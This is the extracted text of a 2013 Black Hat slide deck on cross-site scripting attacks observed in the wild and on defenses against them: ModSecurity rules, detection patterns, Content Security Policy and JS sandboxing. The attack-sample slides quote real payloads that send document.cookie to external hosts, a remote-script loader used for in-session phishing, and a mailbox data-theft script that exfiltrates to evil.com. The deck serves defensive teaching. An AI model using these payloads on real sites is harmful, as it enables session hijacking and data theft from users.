The Web IS Vulnerable
XSS Defense on the Battlefront

Ryan Barnett
Trustwave

Greg Wroblewski
Microsoft
I'M GONNA HACK IT!
A3 Cross-Site Scripting (XSS)

**Threat Agents**

- **Application Specific**
  - Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
  
  **Exploitability**
  - **AVERAGE**

  **Attack Vectors**
  - Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.

  **Prevalence**
  - **VERY WIDESPREAD**

  **Security Weakness**
  - XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) **Stored**, 2) **Reflected**, and 3) **DOM based XSS**. Detection of most XSS flaws is fairly easy via testing or code analysis.

  **Detectability**
  - **EASY**

  **Impact**
  - **MODERATE**

  **Technical Impacts**
  - Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.

  **Business Impacts**
  - Consider the business value of the affected system and all the data it processes. Also consider the business impact of public exposure of the vulnerability.

Source: OWASP Top 10 2013
## Top 10 Application Vulnerabilities

<table>
<thead>
<tr>
<th>RANK</th>
<th>Finding</th>
<th>Percentage of Applications Containing Vulnerability</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>SQL Injection</td>
<td>15%</td>
</tr>
<tr>
<td>2</td>
<td>Miscellaneous Logic Flaws</td>
<td>14%</td>
</tr>
<tr>
<td>3</td>
<td>Insecure Direct Object Reference</td>
<td>28%</td>
</tr>
<tr>
<td>4</td>
<td>Cross-Site Scripting (XSS)</td>
<td>82%</td>
</tr>
<tr>
<td>5</td>
<td>Failure to Restrict URL Access</td>
<td>16%</td>
</tr>
<tr>
<td>6</td>
<td>Cross-Site Request Forgery</td>
<td>72%</td>
</tr>
<tr>
<td>7</td>
<td>Other Injection</td>
<td>7%</td>
</tr>
<tr>
<td>8</td>
<td>Insecure File Uploads</td>
<td>10%</td>
</tr>
<tr>
<td>9</td>
<td>Insecure Redirects</td>
<td>24%</td>
</tr>
<tr>
<td>10</td>
<td>Various Denial of Service</td>
<td>11%</td>
</tr>
</tbody>
</table>

Source: Trustwave 2013 Global Security Report
Share Everything.
Now for your business.

Share up to 50GB of Data on up to 25 Devices, plus Unlimited Talk & Text.

Learn More

See how Share Everything can help your small business.

verizon

SHARE

HELLO, VERIZON?
I'M INTERESTED IN YOUR SHARE EVERYTHING PLAN...
Where to look for XSS attacks

We used BIG data:

• 100s TB of raw data
• 10s TB of URLs
# Where to look for XSS attacks

- Web server/proxy logs
- Web application firewall logs
- URL shortening services
- Spam e-mails
- Chat rooms, IRC traffic
- Comments on pages
- URL reputation services
XSS Attacks: Proof-of-concepts
<script>alert(" XSS")</script>"
HTML Injection Successful

Oh Noooos!

POC-XSS--Exploited!

[OK] [Cancel]
What's Behind PoCs

Malicious intend
- Scanning tools
- Proof-of-concept
- Probing

Benign intend
- Scanning tools
- Going after bug bounty
- Internal testing
Expert Finds XSS Flaws on Intel, HP, Sony, Fujifilm and Other Websites

IBM Cyber Security Report
www.ibm.com/cyber_security


Indian security researcher Rahul Tyagi, the author of Hacking Crux, has identified cross-site scripting (XSS) vulnerabilities on the websites of several major organizations.

He has sent out notifications to HP, Intel, Forbes, National Geographic, Spike TV, the IEEE Computer Society, Sony, Autodesk, Fujifilm, Dolby, TED Conferences, LLC, and HowStuffWorks, Inc.

The websites of these organizations have been found to contain reflected and some DOM-based XSS vulnerabilities.
Increased rewards for Google’s Web Vulnerability Reward Program

Thursday, June 6, 2013 3:38 PM
Posted by Adam Mein and Michal Zalewski, Security Team

Our vulnerability reward programs have been very successful in helping us fix more bugs and better protect our users, while also strengthening our relationships with security researchers. Since introducing our reward program for web properties in November 2010, we’ve received over 1,500 qualifying vulnerability reports that span across Google’s services, as well as software written by companies we have acquired. We’ve paid $828,000 to more than 250 individuals, some of whom have doubled their total by donating their rewards to charity. For example, one of our bug finders decided to support a school project in East Africa.

In recognition of the difficulty involved in finding bugs in our most critical applications, we’re once again rolling out updated rules and significant reward increases for another group of bug categories:
On behalf of the millions of people that play Zynga games every day, thanks to the following people who have disclosed a vulnerability to us:

2013 Whitehats

- Emanuel Bronshtein (@e3amm21)
- Joachim B. Mortensen (http://www.mortensensmind.com)
- Vedachala (http://www.way4hack.com) @vedachalaka
- Kamil Sovi (@kamilsovi)
- Yuji Kosuga (@yujikosuga)
- Sergey Markov
- Shashank (@cyberboyIndia) freemium-devils.in
- Malte Batram (@_batram) http://batr.am
- Maxim Rupp
- Christy Philip Mathew (@christypriory, Offcon Info Security)
- Abhinav Karnawat \ V w4rr10r \ (http://www.w4rr10r.com) (@w4rr10rgr0up)
- Simon Bräuer (@redshark1802)
- Ajay Singh Negi (@AjaySinghNegi) (http://www.computersecuritywithethicalhacking.blogspot.in)
- Roy Castillo (@official_roy) (http://www.roy-castillo.com)
- Sebastian Neef & Tim Schäfers (@internetwache) (https://www.internetwache.org)
- Narendra Bhati (@NarendraBhatiB) (Cyber Octet)
- Tejash Patel (@tejash91) and Sandeep Rehal (http://www.backtracktutorial.com)
- Neal Poole https://nealpoole.com (@NealPoole)
- Deepankar Arora (@sec403)
- Nipun Jaswal (@nipunjaswal)
- Greg Wroblewski (Microsoft Vulnerability Research)
- Ishan Anand (Zero-Access)
XSS Attacks: Defacements
Anonymous Squad No. 035

Website owned by Phobos
root@bt:~# Please Enter Administration Username...
root@bt:~# Admin
root@bt:~# Please Enter Administration Password...
root@bt:~# ******
root@bt:~# Access Granted!
root@bt:~# Logged In As User: Admin
root@bt:~# Uploading Shell...
root@bt:~# Uploaded Complete!
root@bt:~# Defacing Website....
root@bt:~# Deface Complete!.....

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
XSS BY:
HACKED HACKED
Muahahaha

I took over your webpage!

Back
Happy Birthday Sikko!!
XSS by AnonYong
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' \n '

Hacked by Tommaso

' at line 1
Policy Against Anonymous

Website owned by TH96

Connected to www.angga.us...
XSS Attacks: Cookie Stealing
Cookie Stealing
Cookie Stealing Examples

http://************.ru/*register.php#?referrer=%22%3e%3cscript+type=text/javascript+src=http://httpz.ru/wwgw8k5sra
go.js></script>%22%3c/script

location.href = "http://httpz.ru/nwwgw8k5sra.gif?" + document.cookie;

http://************.ru/index.php?url=%3cscript%3eimg%20=%20new%20image();%20img.src%20=%20%22http://httpz.ru/no0aa1ey4gx.gif?%22%2bdocument.cookie;%3c/script%3e

img = new image(); img.src = “http://httpz.ru/no0aa1ey4gx.gif?”+document.cookie;
Under Construction...
Cookie Grabber Example

http://**********.fr/nos-magasins/recherchepar
cp.html?cp="'/<script>document.location="http://www.salonfuneraria
berthiaume.com/photos/1400/grabber.php?cookie="%2bdocument.cookie"</script>
Hacked
Wednesday, December 31st, 1959

Visiting Hours: Tuesday, October 23rd, 2012 from 10:00

Visiting Hours: Sunday, October 28th, 2012
XSS Attacks:
In-Session Phishing
Phishing for Credentials
Vulnerability

- Attacker finds/buys XSS vulnerability affecting Hotmail/GMail/Yahoo
- Attacker tests the vulnerability and develops exploit on a number of test accounts

onerror=jQuery.getScript('http://edit.emailprocess.net/editdczz/all/hotx.js?id=f6e45991-74c2-47a7-969e-967e9495ea41&dd=hotmail&mm=com&type=0&mailname=znp56')
Fake Login

Windows Live

Hotmail

有效的电子邮件管理方法

- 通过 Microsoft SmartScreen 技术抵制垃圾邮件
- 在一个位置管理电子邮件账户
- 通过手机访问电子邮件

了解更多 >

没有 Hotmail 帐户？

注册

登录 ID:

密码:

无法访问您的帐户？

保持登录状态

登录

不是您的计算机？
获取用于登录的一次性代码

©2011 Microsoft | 条款 | 隐私声明

black hat
USA 2013
XSS Attacks: Data Stealing
With successful attack, script runs in browser in current session of the victim.

Script could hijack and upload to attackers entire online content accessible from current session.

Examples: list of contacts, e-mails, attachments, calendar, files.

After successful upload script redirects to phishing page to get victim’s credentials (address bar does not change!)
function downfile(yourDownloadList, i) {
  try {
    var mid = downloadList[i].substr(0, downloadList[i].indexOf(",",));
    var depth = downloadList[i].substr(downloadList[i].indexOf(",",) + 1, downloadList[i].lastIndexOf(",",) - downloadList[i].indexOf(",",) - 1);
    
    var a = new ActiveXObject('Microsoft.XMLHTTP');
    a.Open('HEAD', '/mail/ScanAttachment.aspx?messageid=' + mid + '&attindex=' + depth + '&cp=-1&attdepth=' + depth + '&entryPt=download', true);
    a.send();
    a.onreadystatechange = function () {
      if (a.readyState == 4) {
        if (a.status == 200) {
          //
          // new Image().src = mydir + 'downfile_hotmail.php?file=' + escape(a.getResponseHeader("content-Location")) + '&u=' + yyuser + '&mid=' + mid + '&depth=' + depth + '
          
          alert("downloading:"+i);
          if ((i + 1) < yourDownloadList.length) {
            downfile(yourDownloadList, i + 1);
          } else {
            //
            alert("下载结束");
          }
        } else {
          //
          alert("下载失败");
        }
      } else {
        if ((i + 1) < yourDownloadList.length) {
          downfile(yourDownloadList, i + 1);
        } else {
          //
          alert("下载结束");
        }
      }
    }
  }
}
Enumerate through last 60 pages worth of e-mail

Extract the **From, Subject, and Body** of the e-mail by using the same calls as would be triggered if user were to view the e-mails

Inject new script elements with source set to the URL containing the next chunk of the data read from the file.

Send data in chunks to

```
http://evil.com/hotmail_xss.php?u=<email>&msg=<subject+from>^^<segment index>^^<next segment of message body>
```

Fetch content off of inbox/sent/drafts.

Clean up: mark messages that were not originally read as unread.
Chunking of the message

Chop the message in pieces that would fit in URL

Construct URL with message chunk + flow control data
XSS Attacks: By Numbers
XSS Attacks by ccTLD
XSS Attacks by Language
XSS Attacks Over Time

- Attacked servers
- Instances of attacks

- 2013/01: 262
- 2013/02: 298
- 2013/03: 260
- 2013/04: 408
- 2013/05: 210
- 2013/06: 103
XSS Attacks by Server Type

- Apache: 60%
- nginx: 16%
- IIS: 17%
- Other: 7%
Vulnerable Websites by Platform

- ASP.NET
- IIS 6.0
- IIS 7.0
- IIS 7.5
- older
- PHP
  - 5.3
  - 5.4
- other
  - 5.1
  - 5.2

[Image: Vulnerable Websites by Platform diagram]
Suspected Finders

Anonymous: 21
1337: 15
Phobos: 13
Rox89: 13
kaporal: 6
mdr: 5
r00tc0d3rs: 4
malaka: 4
ANTHRAX: 3
Hellofey: 3
Microsoft MSVR @ BlackHat
XSS Attacks: Detection and Mitigation
Target Audience: Defender Community

A Vision for OWASP

Outreach
Projects
Stakeholders
Focus
Support
Platform

Builders
Breakers
Defenders

Global Committees
Board

OWASP

https://www.owasp.org/index.php/Defenders
Target Audience: Web Defenders

http://www.swsec.com/resources/touchpoints/
Defending Against XSS

- **Part I: Preparing the Battlespace**
  - Find XSS Vulnerabilities
  - Virtual Patching

- **Part II: Asymmetric Warfare**
  - Identify XSS Attempts
  - Identify Successful XSS Attacks

- **Part III: Tactical Response**
  - Implement Content Security Policy
  - Push a JS Sandbox
Live ModSecurity DEMOs at ARSENAL
PART I: PREPARING THE BATTLESPACE VIRTUAL PATCHING
Virtual Patching

A security policy enforcement layer which prevents the exploitation of a known vulnerability.
GET
http://www.modsecurity.org/demo/demo-deny-noescape.html?disable_xss_defense=on&test=%3C%p%3E%3Cscript%3E%3Cp%3E alert(1);%3C/script%3E%3Cp%3E HTTP/1.1
Host: www.modsecurity.org
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;)
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-length: 0

Cross Site Scripting (Reflected)
URL: http://www.modsecurity.org/demo/demo-deny-noescape.html
Risk: High
Reliability: Warning
Parameter: test
Attack: </p><script>alert(1);</script><p>

Cross-site Scripting (XSS) is an attack technique that allows an attacker to send malicious scripts back to a standard web browser client, or a browser object environment. The code itself is usually written in HTML/JavaScript, but is executed in the client's browser.
Export XML Report

Export Messages to File...
Export Response to File...
Export All URLs to File...
Compare with another Session...
Generate HTML Report...

GET http://www.modsecurity.org/demo/demo-deny-noescape.html?disable_xss_defense=on&test=%3C%p%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%p%3E HTTP/1.1
Host: www.modsecurity.org
User-Agent: Mozilla/5.0
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-length: 51

Scanning report generated. Please browse the file at: /tmp/zap-report.xml

Cross Site Scripting (Reflected)
URL: http://www.modsecurity.org/demo/democ
Risk: High
Reliability: Warning
Cross Site Scripting (Reflected)

High (Warning)

Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser ...

Vulnerable URL: demo/demo-deny-noescape.html
Vulnerable Parameter: test

SecRule REQUEST_FILENAME "demo/demo-deny-noescape.html" "chain,phase:2,t:none,block,msg:'Virtual Patch for Cross Site Scripting (Reflected)',id:'1508',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',Tagdata:'%{matched_var_name}',severity:'2'"

SecRule ARGS:test "@pm < > ; ( ) =" "t:utf8toUnicode,t:urlDecodeUni,setvar:tx.msg=%{rule.msg},setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}"
PART II:
ASYMMETRIC WARFARE: DETECTING XSS ATTACKS
Identifying JS Execution Vectors

http://shazzer.co.uk/
**FUZZ DATABASE**

Characters allowed before attribute name

<table>
<thead>
<tr>
<th>Char</th>
<th>Name</th>
<th>Test case</th>
<th>Charcode</th>
<th>Hex</th>
<th>Vector</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>&lt;control&gt; = CHARACTER TABULATION</td>
<td>View test case</td>
<td>9</td>
<td>0x09</td>
<td>&quot;&quot;&gt;&lt;img src=xxx:x onerror=alert(9)&gt; View details</td>
</tr>
<tr>
<td></td>
<td>&lt;control&gt; = LINE FEED (LF)</td>
<td>View test case</td>
<td>10</td>
<td>0x0a</td>
<td>&quot;&quot;&gt;&lt;img src=xxx:x onerror=alert(10)&gt; View details</td>
</tr>
<tr>
<td></td>
<td>&lt;control&gt; = FORM FEED (FF)</td>
<td>View test case</td>
<td>12</td>
<td>0x0c</td>
<td>&quot;&quot;&gt;&lt;img src=xxx:x onerror=alert(12)&gt; View details</td>
</tr>
<tr>
<td></td>
<td>&lt;control&gt; = CARRIAGE RETURN (CR)</td>
<td>View test case</td>
<td>13</td>
<td>0x0d</td>
<td>&quot;&quot;&gt;&lt;img src=xxx:x onerror=alert(13)&gt; View details</td>
</tr>
</tbody>
</table>
Ruby Script

* $ ruby ./fetch-shazzer-vectors.rb | head -5

<!-- sample vector --> <img src=xx:xx %09onerror=logChr(1)>

<!-- sample vector --> <img src=xx:xx %0Aonerror=logChr(1)>

<!-- sample vector --> <img src=xx:xx %0Conerror=logChr(1)>

<!-- sample vector --> <img src=xx:xx %0Donerror=logChr(1)>

<!-- sample vector --> <img src=xx:xx %20onerror=logChr(1)>
## Identifying JS Execution Vectors

### Vectors making use of HTML5 features

#### XSS via formation - requiring user interaction (1)

A vector displaying the HTML5 form and formation capabilities for form hijacking outside the actual form.

```html
<form id="test"></form>
<button id="test" formation="javascript:alert(1)">X</button>
```

Don't allow users to submit markup containing "form" and "formation" attributes or transform them to bogus attributes. Avoid "id" attributes for forms as well as submit buttons.

- Firefox 4.0
- Firefox 15.0
- Opera 10.5
- Opera 11.0
- Chrome 10.0
- Chrome 23.0
- Safari 4.0.4
- Safari 5.1.7
- Opera Mobile

### Self-executing focus event via autofocus

```
http://html5sec.org/
```
Debuggex – Regex Testing
OWASP ModSecurity CRS XSS Filters

```bash
# -=[ XSS Filters - Category 2 ]=-(
# XSS vectors making use of event handlers like onerror, onload etc, e.g., <body onload="alert(1)">
#
SecRule ARGS "(?i)((\v\s"\";|/\0-9\=)+on\\w\+=")" \
  "msg:'XSS Filter - Category 2: Event Handler Vector'," \
  id:'973337',\ 
  phase:request,\ 
  severity:'2',\ 
  rev:'2',\ 
  ver:'OWASP_CRS/3.0.0',\ 
  maturity:'4',accuracy:'8',\ 
  t:none,t:utf8toUnicode,t:urlDecodeUnicode,t:htmlEntityDecode,t:jsDecode,t:cssDecode,\ 
  block,\ 
  capture,\ 
  tag:'OWASP_CRS/WEB_ATTACK/XSS',\ 
  tag:'WASCTC/WASC-8',\ 
  tag:'WASCTC/WASC-22',\ 
  tag:'OWASP_TOP_10/A2',\ 
  tag:'OWASP_AppSensor/IE1',\ 
  tag:'PCI/6.5.1',\ 
  logdata:'Matched Data: %TX.0 found within %MATCHED_VAR_NAME: %MATCHED_VAR',\ 
  setvar:'tx.msg=%(rule.msg)'\n```

ModSecurity Smoketest Page
detectXSSlib

- General purpose library written in C
- Based on a subset of OWASP CRS rules
- Optimized for performance
- Rules selected on the base of empirical data
- Command line tool provided
- Easy to integrate with other components
- nginx module PoC provided

https://github.com/gwroblew/detectXSSlib
Detecting Successful XSS Challenges

- **Deobfuscation/Normalization**

  ```html
  <script>eval("aler"+(!![]+[])[+[]])("xss")</script>
  ```

- **Code Execution Detection**
  - Difference between *detecting attack payloads* vs. *confirming JS execution* within the DOM

- **Detection Accuracy Challenge**
  - Need a DOM
  - Use PhantomJS – Headless WebKit client
Server-side XSS Detection

- ModSecurity extracts HTML response data and executes Lua API
- Lua script executes PhantomJS
- PhantomJS evaluates the HTML and triggers DOM events
SecRule RESPONSE_HEADERS:Content-Type "@contains html"
"chain,id:'85',phase:5,log,pass"
SecRule &ARGS "@gt 0" "chain"
SecRuleScript
/usr/local/apache/conf/crs/lua/xssdetect.lua
Example Attack

http://vuln.xssed.net/2012/03/25/answercenter.ebay.com/?formName=%22%3E%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E0xAli+-+XSSED%3C
[ file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"] [id "85"] [hostname "vuln.xssed.net"] [uri "http://vuln.xssed.net/2012/03/25/answercenter.ebay.com/?formName=%22%3E%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E0xAli+-+XSSED%3C"
[unique_id "URVJ68CoC-kAAUr@C5cAAAAB"]
Accessing Document.Cookie

http://www.zdnet.be/news.cfm?
cat=1&subcat=5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&mxp=114%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

[Fri Feb 08 14:13:04 2013] [error] [client 127.0.0.1] ModSecurity: Warning. SECURITY_ERR: DOM Exception 18: An attempt was made to break through the security policy of the user agent. 

Detected: [object DOMWindow].alert

cat=1&subcat=5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&mxp=114%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E""] [unique_id "URVOPcCoC-kAAUsNDeEAAA0"]
Webkit’s XSS Auditor

Refused to execute a JavaScript script. Source code of script found within request.

onConsole Detected: Refused to execute a JavaScript script. Source code of script found within request.

Refused to execute a JavaScript script. Source code of script found within request.
PART III:
TACTICAL RESPONSE
UTILIZING BROWSER SECURITY
Content Security Policy (CSP)

Defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.
Content Security Policy 1.0 lands in Firefox Aurora

on May 29, 2013 by Frederik Braun and Robert Nyman [Editor]
in Bleeding edge Firefox Aurora JavaScript Security

The information in this article is based on work together with Ian Melven, Kailas Patii and Tanvi Vyas.

We have just landed support for the Content Security Policy (CSP) 1.0 specification in Firefox Aurora (Firefox 23), available as of tomorrow (May 30th). CSP is a security mechanism that aims to protect a website against content injection attacks by providing a whitelist of known-good domain names to accept JavaScript (and other content) from. CSP does this by sending a Content-Security-Policy header with the document it protects (yes, we lost the X prefix with the 1.0 version of the spec).
# Define URL to set CSP header
#
SecRule REQUEST_FILENAME "demo/demo-den\yny-noescape.html" \ "phase:3,\ id:'960003',\ t:none,\ setenv:csp_report_only=1, \ setenv:'csp_policy=default-src \"none\"'; img-src \"self\" www.google-analytics.com; style-src \"self\"; script-src \"self\" businessinfo.co.uk www.google-analytics.com; report-uri /csp_violation_report', \ nolog,\ pass"

#
# Set the appropriate CSP Policy Header
#
Header set Content-Security-Policy-Report-Only "\%{csp_policy}\e" env=csp_report_only
Submit bug report to Jira

Last Data Submitted (is unescaped):

```html
<script>confirm(document.cookie)</script>
```

- Disable JS Sandbox (MentalJS) Code

Send method=GET enctype=application/x-www-form-urlencoded

No requests captured. Reload the page to see detailed information on the network activity.
The page at www.modsecurity.org says:

```javascript
_test: <script>confirm(document.cookie)</script>
disable_xss_defense: on
```

Response Headers:

- **Accept-Ranges**: bytes
- **Connection**: Keep-Alive
- **Content-Length**: 7630
- **Content-Security-Policy-Report-Only**: default-src 'none'; img-src 'self' www.google-analytics.com; style-src 'self'; script-src 'self' businessinfo.co.uk www.google-analytics.com; report-uri /csp_violation_report
- **Content-Type**: text/html; charset=UTF-8
- **Date**: Tue, 25 Jun 2013 14:21:38 GMT
- **Keep-Alive**: timeout=2, max=10
- **Server**: What-Chu-Talkin'-Bout-Willies?/Arnold Drummondv.1.0
- **X-XSS-Protection**: 8
The page at www.modsecurity.org says:

__qca=Po-531714930-1328805811007;
amSessionId=105413401035;
PHPSESSID=45d165af1b5c68e5599e3c12748554d4;
ASPSSESSIONIDQARCCQC=NDPMLABCEGIHDOLFMB
OHOGL; sessionid=; userame=; userid=; state=;
__utma=129890064.158479363.1370620576.1372
16348.1372168998.34;
__utmb=129890064.5.10.1372168998;
__utmc=129890064;
__utmz=129890064.1371590227.16.2.utmcsr=t.co|
utmcmd=referral|utmcct=/
0191d0008d

[Report Only] Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".

jquery.js:1

[Report Only] Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' businessinfo.co.uk www.google-analytics.com".

demo/demo-deny-noescape.html?
test=%3Cscript%3Econfirm%28document.cookie%29%3C%2Fscript%3E&disable_xss_defense=on:64
XSS Defense with ModSecurity

The purpose of this demo is to show possible XSS defenses by using ModSecurity.

56  <li>Access <b>document.location</b> that is not undefined or sandboxed</li>
57  <li>Access <b>document.cookie</b> that is not undefined or sandboxed</li>
58  </ol>
59  You may toggle On/Off the defenses by checking the box in the form below. This will help to facilitate testing of XSS vulnerabilities.
60  <p>If you are successful, please notify us at any of the following places:</p>
61  <div>
62  <h3>Last Data Submitted (is unescaped):</h3>
63  <script>confirm(document.cookie)</script>
64  </div>

[Report Only] Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' businessinfo.com".
XSS Defense with ModSecurity

The purpose of this demo is to show possible XSS defenses by using ModSecurity.
Injecting JS Sandbox

https://code.google.com/p/mentaljs/
Reflected XSS Demo

2. Access `document.location` that is not undefined or sandboxed
3. Access `document.cookie` that is not undefined or sandboxed

You may toggle On/Off the defenses by checking the box in the form below. This will help to facilitate testing of working XSS payloads.

If you are successful, please notify us at any of the following places:

- @ModSecurity on Twitter
- OWASP ModSecurity Core Rule Set Mail-list
- Submit bug report to Jira

Last Data Submitted (is unescaped):

```html
<script>alert(document.cookie)</script>
```

Send
- method=GET
- enctype=application/x-www-form-urlencoded
- Disable JS Sandbox (MentalJS) Code
XSS Defense with ModSecurity

The purpose of this defense is to protect against XSS attacks.

XSS Defense #1: JS Sandbox Injection

This defensive layer uses ModSecurity's Data Modification capability (@rsb operator) to insert Gareth Heyes' (@garethheyes) MentalJS Sandbox called MentalJS to the beginning of HTML responses.

It is important to understand what a JS sandbox is and how it works. You may be able to execute JS code however it is in a sandbox environment. For example - preventing a JS alert popup box is not the goal here but rather protecting DOM elements from being manipulated.

Demo Challenge

Your challenge is to try and bypass the MentalJS JS Sandbox protections and successfully execute a reflected XSS attack that executes JS code in your browser. A successful attack will be able to access one of the following:
SecRule REQUEST_FILENAME "@streq /demo/demo-deny-noescape.html" "id:'224',chain,phase:4,t:none,nolog,pass"

SecRule &ARGS "@gt 0" "chain"

  SecRule STREAM_OUTPUT_BODY "@rsub s/<html.*?><script src="http://\businessinfo.co.uk/labs/MentalJS/javascript/Mental.js" type="text/javascript"></script><script type="text/javascript" src="http://www.modsecurity.org/demo/mental-wrapper.js"></script><plaintext id="MentalRender"></html>"
Resend with MentalJS

- OWASP ModSecurity Core Rule Set Mail-list
- Submit bug report to Jira

Last Data Submitted (is unescaped):

```html
<script>alert(document.cookie)</script>
```

- Disable JS Sandbox (MentalJS) Code

Send method=GET enctype=application/x-www-form-urlencoded
document.cookie Access Denied

XSS Defense with ModSecurity

The purpose of this demo is to show possible XSS defenses by using ModSecurity.

XSS Defense #1: JS Sandbox Injection

This defensive layer uses ModSecurity's Data Modification capability (@reub operator) to insert a javascript called MentalJS to the beginning of html responses.

Transferring data from www.google-analytics.com...
Examples of Fixed XSS

This site is protected by CrawlProtect !!!

Your visit has been detected as a hacking attempt.
Examples of Fixed XSS

Due to the presence of characters known to be used in Cross Site Scripting attacks, access is forbidden. This web site does not allow URLs which might include embedded HTML tags.
Examples of Fixed XSS

Il sistema di anti-intrusione ha rilevato un attacco.

Il suo ip sarà temporaneamente bannato.

Saluti :)

blackhat
USA 2013
Security Risk detected

Diese Meldung bedeutet dass der Server eine Anfrage als gefährlich eingestuft hat und sie sicherheitshalber blockierte.
Grund kann folgendes sein:

- Du verwendest einen öffentlichen (anonymen) Proxy
- Ein versuchtes Ausnutzen einer Sicherheitslücke
- Ein Zugriff der einer bestehenden Sicherheitslücke ähnelt
- Deine IP ist als virenverdächtig[*] markiert oder wird missbraucht

[*] Dies bedeutet dass vor kurzem ein Virus auf deiner IP entdeckt wurde. Bitte kontrolliere alle Rechner oder melde dies dem Netzwerk-Administrator.
Wir verwenden einen Durchschnitt über mehrere Blocklisten, falsche-positive sind also sehr unwahrscheinlich!

Sollte dies nicht der Fall sein und der Fehler nach paar Sekunden weiter bestehen, dann kontaktier bitte support@php-friends.de
Hinweis: Sollte dies deine Webseite sein kannst du das Sicherheitssystem auf Wunsch vom Support deaktivieren lassen; wenn möglich bitte via Ticket-System!
Examples of Fixed XSS

Sorry 199.27.128.68, your request cannot be proceeded. For security reason it was blocked and logged. If you think that this was a mistake, please contact the webmaster and endorse the following incident ID:

[#8068453]

(c) 2010-2013 TurboPlay Online - www.turboplay.co
Examples of Fixed XSS

<table>
<thead>
<tr>
<th>Security alert!</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert #3!</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>

Powered by security team
Examples of Fixed XSS

Error

Are you...

Try to Hack Us?
Well, we got you... meet SDVP

OR

Acting Normal?
Well, something is amiss. SDVP thinks you are being bad.

Troubleshooting info: Cross Site Scripting (XSS) detected (201306042022441043)

serverdefender VP
Prevalence of XSS Attacks (based on Alexa Top N list)
Extrapolated Worldwide Impact

1 in 10,000 URL clicks contains XSS

100,000 gain motivated URL attacks / day
Top WordPress Plugins Contain Serious Security Vulnerabilities

By Fahmida Y. Rashid on June 18, 2013

After analyzing many of the most popular WordPress plugins, researchers found many of them contained serious security vulnerabilities.

Of the top 50 most downloaded plugins for the WordPress platform, 18 were vulnerable and could be exploited to infect Websites and distribute malware, Maty Siman, the CTO of Checkmarx, told SecurityWeek. Out of the top 10 most popular e-commerce plugins, seven contained serious security flaws. Two were directly from the WordPress team and affected BuddyPress, and several dealt with online payments or interacted with Facebook and other
## Future Threat

<table>
<thead>
<tr>
<th>Plugin</th>
<th>LOC</th>
<th># Downloads</th>
<th>SQLi</th>
<th>XSS</th>
<th>CSRF</th>
<th>PT</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lists related entries</td>
<td>4,682</td>
<td>2,093,718</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tests the site for broken links and missing images</td>
<td>20,636</td>
<td>1,493,609</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Add links to Facebook</td>
<td>8,857</td>
<td>1,029,626</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>A review system for comments</td>
<td>26,326</td>
<td>1,002,808</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>An RSS aggregator</td>
<td>15,481</td>
<td>622,894</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Site backup</td>
<td>247,816</td>
<td>464,212</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Embeds Flash and HTML5 video</td>
<td>13,676</td>
<td>380,551</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Saves contact from data</td>
<td>22,591</td>
<td>372,150</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>An alternative WordPress editor</td>
<td>11,395</td>
<td>263,171</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Management of site statistics</td>
<td>3,593</td>
<td>152,467</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
In addition, many sites are targeted in malware/info leaks by using some really common and easy methods. These include SQLi, basic and advanced XSS, CSRF, and DNS cache poisoning. Although SQLi is still a big player, XSS has taken over the market. I estimate about 50-60% of the attacks my crew did last year (Jan 1st-Jan 1st) were XSS. I also learned several programming languages — Python, Perl, C, C++, C#, Ruby, SQL, PHP, ASP, just to name a few.

Q: What is your favorite/most effective exploit against websites and why?
A: If it’s a 0-day, that obviously ranks at the top. But below that is XSS. It’s really well known but no one patches it. I suppose DDoS isn’t really classed as an exploit but that can bring in monthly ‘rent’ for our ‘protection’. But over all 0-days are the greatest exploits.
Acknowledgments

David Ross
